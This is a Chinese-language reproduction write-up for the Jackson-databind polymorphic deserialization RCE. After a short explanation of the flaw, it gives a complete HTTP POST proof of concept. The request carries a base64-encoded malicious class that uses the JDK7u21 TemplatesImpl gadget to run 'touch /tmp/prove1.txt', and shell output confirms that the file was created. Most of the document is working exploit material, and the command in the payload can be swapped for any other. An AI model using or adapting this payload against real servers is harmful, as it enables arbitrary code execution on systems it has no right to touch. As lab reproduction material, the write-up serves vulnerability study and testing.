漏洞原理
Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。
详见:https://blog.csdn.net/xuandao_ahfengren/article/details/106805679
漏洞复现
地址:http://10.7.10.41:49157/
使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget,发送如下请求,将会执行touch /tmp/prove1.txt:
POC:
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298
{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
],
"transletName": "a.b",
"outputProperties": {
}
}
]
}
发现该目录下新建了个文件
[root@localhost /]# find -name "prove1.txt"
./tmp/prove1.txt
复现参考文章:https://blog.csdn.net/xuandao_ahfengren/article/details/106805679